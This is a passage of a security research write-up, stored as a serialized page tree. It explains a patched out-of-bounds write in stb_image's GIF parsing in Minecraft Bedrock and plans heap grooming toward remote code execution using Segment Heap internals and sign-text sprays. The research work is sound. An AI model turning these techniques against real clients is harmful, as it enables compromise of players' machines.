ag":213,"props":149048,"children":149049},{"style":514},[149050],{"type":28,"value":17346},{"type":23,"tag":213,"props":149052,"children":149053},{"style":220},[149054],{"type":28,"value":8746},{"type":23,"tag":213,"props":149056,"children":149057},{"style":274},[149058],{"type":28,"value":3190},{"type":23,"tag":213,"props":149060,"children":149061},{"style":220},[149062],{"type":28,"value":149063}," transp ",{"type":23,"tag":213,"props":149065,"children":149066},{"style":274},[149067],{"type":28,"value":8660},{"type":23,"tag":213,"props":149069,"children":149070},{"style":220},[149071],{"type":28,"value":54597},{"type":23,"tag":213,"props":149073,"children":149074},{"style":274},[149075],{"type":28,"value":2126},{"type":23,"tag":213,"props":149077,"children":149078},{"style":514},[149079],{"type":28,"value":517},{"type":23,"tag":213,"props":149081,"children":149082},{"style":274},[149083],{"type":28,"value":35173},{"type":23,"tag":213,"props":149085,"children":149086},{"style":514},[149087],{"type":28,"value":149088}," 255",{"type":23,"tag":213,"props":149090,"children":149091},{"style":220},[149092],{"type":28,"value":313},{"type":23,"tag":213,"props":149094,"children":149095},{"class":215,"line":1789},[149096],{"type":23,"tag":213,"props":149097,"children":149098},{"style":220},[149099],{"type":28,"value":34805},{"type":23,"tag":213,"props":149101,"children":149102},{"class":215,"line":1812},[149103],{"type":23,"tag":213,"props":149104,"children":149105},{"style":220},[149106],{"type":28,"value":1208},{"type":23,"tag":24,"props":149108,"children":149109},{},[149110,149112,149117,149118,149123,149125,149130],{"type":28,"value":149111},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":209,"props":149113,"children":149115},{"className":149114},[],[149116],{"type":28,"value":4116},{"type":28,"value":108},{"type":23,"tag":209,"props":149119,"children":149121},{"className":149120},[],[149122],{"type":28,"value":113396},{"type":28,"value":149124},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":209,"props":149126,"children":149128},{"className":149127},[],[149129],{"type":28,"value":29902},{"type":28,"value":277},{"type":23,"tag":202,"props":149132,"children":149134},{"code":149133,"language":3244,"meta":7,"className":16566,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[149135],{"type":23,"tag":209,"props":149136,"children":149137},{"__ignoreMap":7},[149138,149201,149240,149279,149318,149357,149396],{"type":23,"tag":213,"props":149139,"children":149140},{"class":215,"line":216},[149141,149145,149149,149153,149157,149161,149165,149169,149173,149177,149181,149185,149189,149193,149197],{"type":23,"tag":213,"props":149142,"children":149143},{"style":220},[149144],{"type":28,"value":148455},{"type":23,"tag":213,"props":149146,"children":149147},{"style":274},[149148],{"type":28,"value":3190},{"type":23,"tag":213,"props":149150,"children":149151},{"style":274},[149152],{"type":28,"value":927},{"type":23,"tag":213,"props":149154,"children":149155},{"style":220},[149156],{"type":28,"value":109351},{"type":23,"tag":213,"props":149158,"children":149159},{"style":274},[149160],{"type":28,"value":303},{"type":23,"tag":213,"props":149162,"children":149163},{"style":268},[149164],{"type":28,"value":148476},{"type":23,"tag":213,"props":149166,"children":149167},{"style":220},[149168],{"type":28,"value":3821},{"type":23,"tag":213,"props":149170,"children":149171},{"style":268},[149172],{"type":28,"value":109351},{"type":23,"tag":213,"props":149174,"children":149175},{"style":220},[149176],{"type":28,"value":303},{"type":23,"tag":213,"props":149178,"children":149179},{"style":268},[149180],{"type":28,"value":148493},{"type":23,"tag":213,"props":149182,"children":149183},{"style":220},[149184],{"type":28,"value":148498},{"type":23,"tag":213,"props":149186,"children":149187},{"style":268},[149188],{"type":28,"value":148503},{"type":23,"tag":213,"props":149190,"children":149191},{"style":274},[149192],{"type":28,"value":282},{"type":23,"tag":213,"props":149194,"children":149195},{"style":514},[149196],{"type":28,"value":11829},{"type":23,"tag":213,"props":149198,"children":149199},{"style":220},[149200],{"type":28,"value":31630},{"type":23,"tag":213,"props":149202,"children":149203},{"class":215,"line":226},[149204,149208,149212,149216,149220,149224,149228,149232,149236],{"type":23,"tag":213,"props":149205,"children":149206},{"style":1362},[149207],{"type":28,"value":52697},{"type":23,"tag":213,"props":149209,"children":149210},{"style":220},[149211],{"type":28,"value":400},{"type":23,"tag":213,"props":149213,"children":149214},{"style":268},[149215],{"type":28,"value":3244},{"type":23,"tag":213,"props":149217,"children":149218},{"style":220},[149219],{"type":28,"value":3821},{"type":23,"tag":213,"props":149221,"children":149222},{"style":514},[149223],{"type":28,"value":17346},{"type":23,"tag":213,"props":149225,"children":149226},{"style":220},[149227],{"type":28,"value":8746},{"type":23,"tag":213,"props":149229,"children":149230},{"style":274},[149231],{"type":28,"value":10545},{"type":23,"tag":213,"props":149233,"children":149234},{"style":514},[149235],{"type":28,"value":148551},{"type":23,"tag":213,"props":149237,"children":149238},{"style":220},[149239],{"type":28,"value":14870},{"type":23,"tag":213,"props":149241,"children":149242},{"class":215,"line":524},[149243,149247,149251,149255,149259,149263,149267,149271,149275],{"type":23,"tag":213,"props":149244,"children":149245},{"style":268},[149246],{"type":28,"value":148563},{"type":23,"tag":213,"props":149248,"children":149249},{"style":220},[149250],{"type":28,"value":3821},{"type":23,"tag":213,"props":149252,"children":149253},{"style":514},[149254],{"type":28,"value":4116},{"type":23,"tag":213,"props":149256,"children":149257},{"style":220},[149258],{"type":28,"value":8746},{"type":23,"tag":213,"props":149260,"children":149261},{"style":274},[149262],{"type":28,"value":3190},{"type":23,"tag":213,"props":149264,"children":149265},{"style":268},[149266],{"type":28,"value":37503},{"type":23,"tag":213,"props":149268,"children":149269},{"style":220},[149270],{"type":28,"value":3821},{"type":23,"tag":213,"props":149272,"children":149273},{"style":514},[149274],{"type":28,"value":3221},{"type":23,"tag":213,"props":149276,"children":149277},{"style":220},[149278],{"type":28,"value":31630},{"type":23,"tag":213,"props":149280,"children":149281},{"class":215,"line":533},[149282,149286,149290,149294,149298,149302,149306,149310,149314],{"type":23,"tag":213,"props":149283,"children":149284},{"style":268},[149285],{"type":28,"value":148563},{"type":23,"tag":213,"props":149287,"children":149288},{"style":220},[149289],{"type":28,"value":3821},{"type":23,"tag":213,"props":149291,"children":149292},{"style":514},[149293],{"type":28,"value":4106},{"type":23,"tag":213,"props":149295,"children":149296},{"style":220},[149297],{"type":28,"value":8746},{"type":23,"tag":213,"props":149299,"children":149300},{"style":274},[149301],{"type":28,"value":3190},{"type":23,"tag":213,"props":149303,"children":149304},{"style":268},[149305],{"type":28,"value":37503},{"type":23,"tag":213,"props":149307,"children":149308},{"style":220},[149309],{"type":28,"value":3821},{"type":23,"tag":213,"props":149311,"children":149312},{"style":514},[149313],{"type":28,"value":4106},{"type":23,"tag":213,"props":149315,"children":149316},{"style":220},[149317],{"type":28,"value":31630},{"type":23,"tag":213,"props":149319,"children":149320},{"class":215,"line":543},[149321,149325,149329,149333,149337,149341,149345,149349,149353],{"type":23,"tag":213,"props":149322,"children":149323},{"style":268},[149324],{"type":28,"value":148563},{"type":23,"tag":213,"props":149326,"children":149327},{"style":220},[149328],{"type":28,"value":3821},{"type":23,"tag":213,"props":149330,"children":149331},{"style":514},[149332],{"type":28,"value":3221},{"type":23,"tag":213,"props":149334,"children":149335},{"style":220},[149336],{"type":28,"value":8746},{"type":23,"tag":213,"props":149338,"children":149339},{"style":274},[149340],{"type":28,"value":3190},{"type":23,"tag":213,"props":149342,"children":149343},{"style":268},[149344],{"type":28,"value":37503},{"type":23,"tag":213,"props":149346,"children":149347},{"style":220},[149348],{"type":28,"value":3821},{"type":23,"tag":213,"props":149350,"children":149351},{"style":514},[149352],{"type":28,"value":4116},{"type":23,"tag":213,"props":149354,"children":149355},{"style":220},[149356],{"type":28,"value":31630},{"type":23,"tag":213,"props":149358,"children":149359},{"class":215,"line":551},[149360,149364,149368,149372,149376,149380,149384,149388,149392],{"type":23,"tag":213,"props":149361,"children":149362},{"style":268},[149363],{"type":28,"value":148563},{"type":23,"tag":213,"props":149365,"children":149366},{"style":220},[149367],{"type":28,"value":3821},{"type":23,"tag":213,"props":149369,"children":149370},{"style":514},[149371],{"type":28,"value":17346},{"type":23,"tag":213,"props":149373,"children":149374},{"style":220},[149375],{"type":28,"value":8746},{"type":23,"tag":213,"props":149377,"children":149378},{"style":274},[149379],{"type":28,"value":3190},{"type":23,"tag":213,"props":149381,"children":149382},{"style":268},[149383],{"type":28,"value":37503},{"type":23,"tag":213,"props":149385,"children":149386},{"style":220},[149387],{"type":28,"value":3821},{"type":23,"tag":213,"props":149389,"children":149390},{"style":514},[149391],{"type":28,"value":17346},{"type":23,"tag":213,"props":149393,"children":149394},{"style":220},[149395],{"type":28,"value":31630},{"type":23,"tag":213,"props":149397,"children":149398},{"class":215,"line":570},[149399],{"type":23,"tag":213,"props":149400,"children":149401},{"style":220},[149402],{"type":28,"value":34805},{"type":23,"tag":24,"props":149404,"children":149405},{},[149406,149407,149412,149414,149419,149421,149426],{"type":28,"value":24073},{"type":23,"tag":209,"props":149408,"children":149410},{"className":149409},[],[149411],{"type":28,"value":148763},{"type":28,"value":149413}," has to set the last byte to ",{"type":23,"tag":209,"props":149415,"children":149417},{"className":149416},[],[149418],{"type":28,"value":113396},{"type":28,"value":149420}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":209,"props":149422,"children":149424},{"className":149423},[],[149425],{"type":28,"value":113396},{"type":28,"value":124},{"type":23,"tag":24,"props":149428,"children":149429},{},[149430,149432,149437,149439,149445,149446,149452],{"type":28,"value":149431},"In the code we can see that size of the ",{"type":23,"tag":209,"props":149433,"children":149435},{"className":149434},[],[149436],{"type":28,"value":148220},{"type":28,"value":149438}," allocation is controlled through ",{"type":23,"tag":209,"props":149440,"children":149442},{"className":149441},[],[149443],{"type":28,"value":149444},"g->w",{"type":28,"value":1466},{"type":23,"tag":209,"props":149447,"children":149449},{"className":149448},[],[149450],{"type":28,"value":149451},"g->h",{"type":28,"value":149453}," values, both of which are read from the input file itself:",{"type":23,"tag":202,"props":149455,"children":149457},{"code":149456,"language":3244,"meta":7,"className":16566,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[149458],{"type":23,"tag":209,"props":149459,"children":149460},{"__ignoreMap":7},[149461,149486,149493,149500,149535,149581],{"type":23,"tag":213,"props":149462,"children":149463},{"class":215,"line":216},[149464,149468,149473,149477,149481],{"type":23,"tag":213,"props":149465,"children":149466},{"style":230},[149467],{"type":28,"value":51097},{"type":23,"tag":213,"props":149469,"children":149470},{"style":220},[149471],{"type":28,"value":149472}," stbi_uc ",{"type":23,"tag":213,"props":149474,"children":149475},{"style":274},[149476],{"type":28,"value":1696},{"type":23,"tag":213,"props":149478,"children":149479},{"style":257},[149480],{"type":28,"value":147399},{"type":23,"tag":213,"props":149482,"children":149483},{"style":220},[149484],{"type":28,"value":149485},"(...)\n",{"type":23,"tag":213,"props":149487,"children":149488},{"class":215,"line":226},[149489],{"type":23,"tag":213,"props":149490,"children":149491},{"style":220},[149492],{"type":28,"value":10964},{"type":23,"tag":213,"props":149494,"children":149495},{"class":215,"line":524},[149496],{"type":23,"tag":213,"props":149497,"children":149498},{"style":220},[149499],{"type":28,"value":147961},{"type":23,"tag":213,"props":149501,"children":149502},{"class":215,"line":533},[149503,149507,149511,149515,149519,149523,149527,149531],{"type":23,"tag":213,"props":149504,"children":149505},{"style":1362},[149506],{"type":28,"value":52697},{"type":23,"tag":213,"props":149508,"children":149509},{"style":220},[149510],{"type":28,"value":400},{"type":23,"tag":213,"props":149512,"children":149513},{"style":268},[149514],{"type":28,"value":109351},{"type":23,"tag":213,"props":149516,"children":149517},{"style":220},[149518],{"type":28,"value":303},{"type":23,"tag":213,"props":149520,"children":149521},{"style":268},[149522],{"type":28,"value":118774},{"type":23,"tag":213,"props":149524,"children":149525},{"style":274},[149526],{"type":28,"value":3379},{"type":23,"tag":213,"props":149528,"children":149529},{"style":514},[149530],{"type":28,"value":517},{"type":23,"tag":213,"props":149532,"children":149533},{"style":220},[149534],{"type":28,"value":14870},{"type":23,"tag":213,"props":149536,"children":149537},{"class":215,"line":543},[149538,149542,149546,149550,149555,149560,149564,149569,149573,149577],{"type":23,"tag":213,"props":149539,"children":149540},{"style":1362},[149541],{"type":28,"value":39344},{"type":23,"tag":213,"props":149543,"children":149544},{"style":220},[149545],{"type":28,"value":400},{"type":23,"tag":213,"props":149547,"children":149548},{"style":274},[149549],{"type":28,"value":20675},{"type":23,"tag":213,"props":149551,"children":149552},{"style":257},[149553],{"type":28,"value":149554},"stbi__gif_header",{"type":23,"tag":213,"props":149556,"children":149557},{"style":220},[149558],{"type":28,"value":149559},"(s, g, comp,",{"type":23,"tag":213,"props":149561,"children":149562},{"style":514},[149563],{"type":28,"value":4116},{"type":23,"tag":213,"props":149565,"children":149566},{"style":220},[149567],{"type":28,"value":149568},")) ",{"type":23,"tag":213,"props":149570,"children":149571},{"style":1362},[149572],{"type":28,"value":48509},{"type":23,"tag":213,"props":149574,"children":149575},{"style":514},[149576],{"type":28,"value":517},{"type":23,"tag":213,"props":149578,"children":149579},{"style":220},[149580],{"type":28,"value":313},{"type":23,"tag":213,"props":149582,"children":149583},{"class":215,"line":551},[149584,149589,149593,149597,149601,149606,149610,149614,149619,149623,149627,149631,149635,149639,149643,149647,149651,149655,149659],{"type":23,"tag":213,"props":149585,"children":149586},{"style":268},[149587],{"type":28,"value":149588}," g",{"type":23,"tag":213,"props":149590,"children":149591},{"style":220},[149592],{"type":28,"value":303},{"type":23,"tag":213,"props":149594,"children":149595},{"style":268},[149596],{"type":28,"value":118774},{"type":23,"tag":213,"props":149598,"children":149599},{"style":274},[149600],{"type":28,"value":511},{"type":23,"tag":213,"props":149602,"children":149603},{"style":220},[149604],{"type":28,"value":149605}," (stbi_uc ",{"type":23,"tag":213,"props":149607,"children":149608},{"style":274},[149609],{"type":28,"value":1696},{"type":23,"tag":213,"props":149611,"children":149612},{"style":220},[149613],{"type":28,"value":298},{"type":23,"tag":213,"props":149615,"children":149616},{"style":257},[149617],{"type":28,"value":149618},"stbi__malloc",{"type":23,"tag":213,"props":149620,"children":149621},{"style":220},[149622],{"type":28,"value":265},{"type":23,"tag":213,"props":149624,"children":149625},{"style":514},[149626],{"type":28,"value":17578},{"type":23,"tag":213,"props":149628,"children":149629},{"style":274},[149630],{"type":28,"value":282},{"type":23,"tag":213,"props":149632,"children":149633},{"style":268},[149634],{"type":28,"value":148001},{"type":23,"tag":213,"props":149636,"children":149637},{"style":220},[149638],{"type":28,"value":303},{"type":23,"tag":213,"props":149640,"children":149641},{"style":268},[149642],{"type":28,"value":49624},{"type":23,"tag":213,"props":149644,"children":149645},{"style":274},[149646],{"type":28,"value":282},{"type":23,"tag":213,"props":149648,"children":149649},{"style":268},[149650],{"type":28,"value":148001},{"type":23,"tag":213,"props":149652,"children":149653},{"style":220},[149654],{"type":28,"value":303},{"type":23,"tag":213,"props":149656,"children":149657},{"style":268},[149658],{"type":28,"value":84398},{"type":23,"tag":213,"props":149660,"children":149661},{"style":220},[149662],{"type":28,"value":2867},{"type":23,"tag":24,"props":149664,"children":149665},{},[149666,149668,149673,149675,149680],{"type":28,"value":149667},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":209,"props":149669,"children":149671},{"className":149670},[],[149672],{"type":28,"value":148220},{"type":28,"value":149674}," and the value of ",{"type":23,"tag":209,"props":149676,"children":149678},{"className":149677},[],[149679],{"type":28,"value":24},{"type":28,"value":149681}," just before the OOB write happens:",{"type":23,"tag":202,"props":149683,"children":149685},{"code":149684},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[149686],{"type":23,"tag":209,"props":149687,"children":149688},{"__ignoreMap":7},[149689],{"type":28,"value":149684},{"type":23,"tag":24,"props":149691,"children":149692},{},[149693,149695,149700,149702,149707],{"type":28,"value":149694},"There are multiple within-bound writes to ",{"type":23,"tag":209,"props":149696,"children":149698},{"className":149697},[],[149699],{"type":28,"value":24},{"type":28,"value":149701},", but the last write happens just after the ",{"type":23,"tag":209,"props":149703,"children":149705},{"className":149704},[],[149706],{"type":28,"value":148220},{"type":28,"value":149708}," allocation.",{"type":23,"tag":9693,"props":149710,"children":149712},{"id":149711},"summarizing-the-corruption",[149713],{"type":28,"value":149714},"Summarizing the Corruption",{"type":23,"tag":168,"props":149716,"children":149717},{},[149718,149731,149759],{"type":23,"tag":135,"props":149719,"children":149720},{},[149721,149723,149729],{"type":28,"value":149722},"A single ",{"type":23,"tag":209,"props":149724,"children":149726},{"className":149725},[],[149727],{"type":28,"value":149728},"0x01",{"type":28,"value":149730}," byte write OOB",{"type":23,"tag":135,"props":149732,"children":149733},{},[149734,149736],{"type":28,"value":149735},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":168,"props":149737,"children":149738},{},[149739,149744,149754],{"type":23,"tag":135,"props":149740,"children":149741},{},[149742],{"type":28,"value":149743},"First three bytes are controllable",{"type":23,"tag":135,"props":149745,"children":149746},{},[149747,149749],{"type":28,"value":149748},"Last byte will be ",{"type":23,"tag":209,"props":149750,"children":149752},{"className":149751},[],[149753],{"type":28,"value":113396},{"type":23,"tag":135,"props":149755,"children":149756},{},[149757],{"type":28,"value":149758},"Size of the allocation is controlled",{"type":23,"tag":135,"props":149760,"children":149761},{},[149762,149764],{"type":28,"value":149763},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":168,"props":149765,"children":149766},{},[149767,149772],{"type":23,"tag":135,"props":149768,"children":149769},{},[149770],{"type":28,"value":149771},"Allocated just before the image-parsing process",{"type":23,"tag":135,"props":149773,"children":149774},{},[149775],{"type":28,"value":149776},"Freed immediately upon parsing completion",{"type":23,"tag":18845,"props":149778,"children":149779},{},[],{"type":23,"tag":24,"props":149781,"children":149782},{},[149783,149785,149792,149794,149801],{"type":28,"value":149784},"Note that this bug was already found before (",{"type":23,"tag":36,"props":149786,"children":149789},{"href":149787,"rel":149788},"https://github.com/nothings/stb/issues/656",[40],[149790],{"type":28,"value":149791},"Github Issue",{"type":28,"value":149793},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":36,"props":149795,"children":149798},{"href":149796,"rel":149797},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[40],[149799],{"type":28,"value":149800},"this commit",{"type":28,"value":124},{"type":23,"tag":47,"props":149803,"children":149804},{"id":5512},[149805],{"type":28,"value":5515},{"type":23,"tag":24,"props":149807,"children":149808},{},[149809],{"type":28,"value":149810},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":24,"props":149812,"children":149813},{},[149814],{"type":28,"value":149815},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":9693,"props":149817,"children":149819},{"id":149818},"searching-for-better-primitives",[149820],{"type":28,"value":149821},"Searching for Better Primitives",{"type":23,"tag":24,"props":149823,"children":149824},{},[149825],{"type":28,"value":149826},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":24,"props":149828,"children":149829},{},[149830,149832,149839],{"type":28,"value":149831},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":36,"props":149833,"children":149836},{"href":149834,"rel":149835},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[40],[149837],{"type":28,"value":149838},"UWP",{"type":28,"value":149840}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":9693,"props":149842,"children":149844},{"id":149843},"segment-heap",[149845],{"type":28,"value":149846},"Segment Heap",{"type":23,"tag":24,"props":149848,"children":149849},{},[149850,149852,149859],{"type":28,"value":149851},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":36,"props":149853,"children":149856},{"href":149854,"rel":149855},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[40],[149857],{"type":28,"value":149858},"this talk",{"type":28,"value":149860}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":18945,"props":149862,"children":149864},{"id":149863},"low-fragmentation-heap",[149865],{"type":28,"value":149866},"Low Fragmentation Heap",{"type":23,"tag":24,"props":149868,"children":149869},{},[149870,149872,149878],{"type":28,"value":149871},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":209,"props":149873,"children":149875},{"className":149874},[],[149876],{"type":28,"value":149877},"0x3ff0",{"type":28,"value":149879}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":24,"props":149881,"children":149882},{},[149883],{"type":28,"value":149884},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":202,"props":149886,"children":149888},{"code":149887}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[149889],{"type":23,"tag":209,"props":149890,"children":149891},{"__ignoreMap":7},[149892],{"type":28,"value":149887},{"type":23,"tag":24,"props":149894,"children":149895},{},[149896],{"type":28,"value":149897},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":18945,"props":149899,"children":149901},{"id":149900},"variable-size",[149902],{"type":28,"value":149903},"Variable Size",{"type":23,"tag":24,"props":149905,"children":149906},{},[149907,149909,149915,149917,149923],{"type":28,"value":149908},"This subsegment is used for allocation sizes from ",{"type":23,"tag":209,"props":149910,"children":149912},{"className":149911},[],[149913],{"type":28,"value":149914},"0x4000",{"type":28,"value":149916}," and up to ",{"type":23,"tag":209,"props":149918,"children":149920},{"className":149919},[],[149921],{"type":28,"value":149922},"0x20_000",{"type":28,"value":149924},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":202,"props":149926,"children":149928},{"code":149927}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[149929],{"type":23,"tag":209,"props":149930,"children":149931},{"__ignoreMap":7},[149932],{"type":28,"value":149927},{"type":23,"tag":24,"props":149934,"children":149935},{},[149936,149938,149944],{"type":28,"value":149937},"The header, ",{"type":23,"tag":209,"props":149939,"children":149941},{"className":149940},[],[149942],{"type":28,"value":149943},"HEAP_VS_CHUNK_HEADER",{"type":28,"value":149945},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":18845,"props":149947,"children":149948},{},[],{"type":23,"tag":24,"props":149950,"children":149951},{},[149952],{"type":28,"value":149953},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":24,"props":149955,"children":149956},{},[149957,149959,149966],{"type":28,"value":149958},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":36,"props":149960,"children":149963},{"href":149961,"rel":149962},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[40],[149964],{"type":28,"value":149965},"technique published",{"type":28,"value":149967}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":24,"props":149969,"children":149970},{},[149971],{"type":28,"value":149972},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":24,"props":149974,"children":149975},{},[149976],{"type":28,"value":149977},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":9693,"props":149979,"children":149981},{"id":149980},"finding-a-way-to-spray-the-heap",[149982],{"type":28,"value":149983},"Finding a Way to Spray the Heap",{"type":23,"tag":24,"props":149985,"children":149986},{},[149987],{"type":28,"value":149988},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":168,"props":149990,"children":149991},{},[149992,149997,150002,150007],{"type":23,"tag":135,"props":149993,"children":149994},{},[149995],{"type":28,"value":149996},"The size of the allocation",{"type":23,"tag":135,"props":149998,"children":149999},{},[150000],{"type":28,"value":150001},"The data written into the allocated buffer",{"type":23,"tag":135,"props":150003,"children":150004},{},[150005],{"type":28,"value":150006},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":135,"props":150008,"children":150009},{},[150010],{"type":28,"value":150011},"The number of created objects (preferably unbounded)",{"type":23,"tag":24,"props":150013,"children":150014},{},[150015],{"type":28,"value":150016},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":18945,"props":150018,"children":150020},{"id":150019},"minecraft-signs",[150021],{"type":28,"value":150022},"Minecraft Signs",{"type":23,"tag":24,"props":150024,"children":150025},{},[150026],{"type":28,"value":150027},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":24,"props":150029,"children":150030},{},[150031,150033,150039],{"type":28,"value":150032},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":209,"props":150034,"children":150036},{"className":150035},[],[150037],{"type":28,"value":150038},"std::string",{"type":28,"value":124},{"type":23,"tag":24,"props":150041,"children":150042},{},[150043,150045,150050],{"type":28,"value":150044},"In Microsoft’s C++ implementation, ",{"type":23,"tag":209,"props":150046,"children":150048},{"className":150047},[],[150049],{"type":28,"value":150038},{"type":28,"value":150051}," is structured roughly as follows:",{"type":23,"tag":202,"props":150053,"children":150055},{"code":150054,"language":3244,"meta":7,"className":16566,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[150056],{"type":23,"tag":209,"props":150057,"children":150058},{"__ignoreMap":7},[150059,150070,150077,150089,150105,150129,150136,150147,150159],{"type":23,"tag":213,"props":150060,"children":150061},{"class":215,"line":216},[150062,150066],{"type":23,"tag":213,"props":150063,"children":150064},{"style":230},[150065],{"type":28,"value":9486},{"type":23,"tag":213,"props":150067,"children":150068},{"style":220},[150069],{"type":28,"value":85097},{"type":23,"tag":213,"props":150071,"children":150072},{"class":215,"line":226},[150073],{"type":23,"tag":213,"props":150074,"children":150075},{"style":220},[150076],{"type":28,"value":10964},{"type":23,"tag":213,"props":150078,"children":150079},{"class":215,"line":524},[150080,150085],{"type":23,"tag":213,"props":150081,"children":150082},{"style":230},[150083],{"type":28,"value":150084}," union",{"type":23,"tag":213,"props":150086,"children":150087},{"style":220},[150088],{"type":28,"value":1375},{"type":23,"tag":213,"props":150090,"children":150091},{"class":215,"line":533},[150092,150097,150101],{"type":23,"tag":213,"props":150093,"children":150094},{"style":230},[150095],{"type":28,"value":150096}," char",{"type":23,"tag":213,"props":150098,"children":150099},{"style":274},[150100],{"type":28,"value":1696},{"type":23,"tag":213,"props":150102,"children":150103},{"style":220},[150104],{"type":28,"value":16608},{"type":23,"tag":213,"props":150106,"children":150107},{"class":215,"line":543},[150108,150112,150117,150121,150125],{"type":23,"tag":213,"props":150109,"children":150110},{"style":230},[150111],{"type":28,"value":150096},{"type":23,"tag":213,"props":150113,"children":150114},{"style":268},[150115],{"type":28,"value":150116}," 